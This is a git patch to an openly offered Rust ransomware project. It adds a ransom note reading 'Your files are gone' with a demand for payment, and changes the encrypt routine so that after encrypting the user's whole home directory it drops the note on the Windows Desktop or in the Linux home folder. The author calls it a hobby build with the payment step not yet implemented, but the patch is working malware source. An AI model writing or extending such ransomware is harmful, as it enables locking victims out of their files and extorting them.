From 97343c6ca369aa0934a7990c1c463ca4b06ae26f Mon Sep 17 00:00:00 2001 From: Xory Date: Sat, 29 Jun 2024 13:58:26 +0300 Subject: [PATCH] feat: ransom note --- note.txt | 11 +++++++++++ src/decrypt.rs | 2 +- src/encrypt.rs | 21 +++++++++++++++++++-- 3 files changed, 31 insertions(+), 3 deletions(-) create mode 100644 note.txt diff --git a/note.txt b/note.txt new file mode 100644 index 0000000..2adbb03 --- /dev/null +++ b/note.txt @@ -0,0 +1,11 @@ + | + \ ___ / ____ __ __ + / \ / __/__ / /_________ _____ / /_ + - | | - _\ \/ _ \/ / __/ __/ // / _ \/ __/ + \___/ /___/\___/_/\__/_/ \_, / .__/\__/ + / \ /___/_/ + | Made by Xory + +So... you messed up. +Your files are gone. +Now you're going to have to pay us money at [not implemented yet] to get your files back or whatever. I built this thing for fun ffs. diff --git a/src/decrypt.rs b/src/decrypt.rs index bd431c4..c1508bc 100644 --- a/src/decrypt.rs +++ b/src/decrypt.rs @@ -7,6 +7,6 @@ fn main() { let home: String = env::var("USERPROFILE").unwrap_or("C:\\Users\\Xory".to_string()); // no way this could fail! #[cfg(target_os = "linux")] let home: String = env::var("HOME").unwrap(); - decrypt_directory(&home_dir).unwrap(); + decrypt_directory(&home).unwrap(); } diff --git a/src/encrypt.rs b/src/encrypt.rs index 2521137..d3ae8c8 100644 --- a/src/encrypt.rs +++ b/src/encrypt.rs @@ -4,12 +4,22 @@ use crypto::register; use std::env; use std::thread::sleep; use std::time::Duration; +use std::fs::File; +use std::io::Write; -fn main() { +const NOTE: &str = include_str!("../note.txt"); + +fn main() -> std::io::Result<()> { #[cfg(target_os = "windows")] let home: String = env::var("USERPROFILE").unwrap_or("C:\\Users\\Xory".to_string()); // no way this could fail! + #[cfg(target_os = "windows")] + let ransomnoteloc = format!("{home}\\Desktop\\README.txt"); + #[cfg(target_os = "linux")] let home: String = env::var("HOME").unwrap(); + #[cfg(target_os = "linux")] + let ransomnoteloc = format!("{home}/readme.txt"); + encrypt_directory(&home).unwrap(); // I know this many unwraps look // suspicious, but the chance of this // failing is less than a solar flare. @@ -22,5 +32,12 @@ fn main() { sleep(Duration::from_secs(5)); } } - + + // Write ransom note to desktop + let mut ransomnote = File::create(ransomnoteloc)?; // we *should* have write perms for + // the user's HOME + ransomnote.write_all(NOTE.as_bytes())?; + ransomnote.flush()?; + + Ok(()) }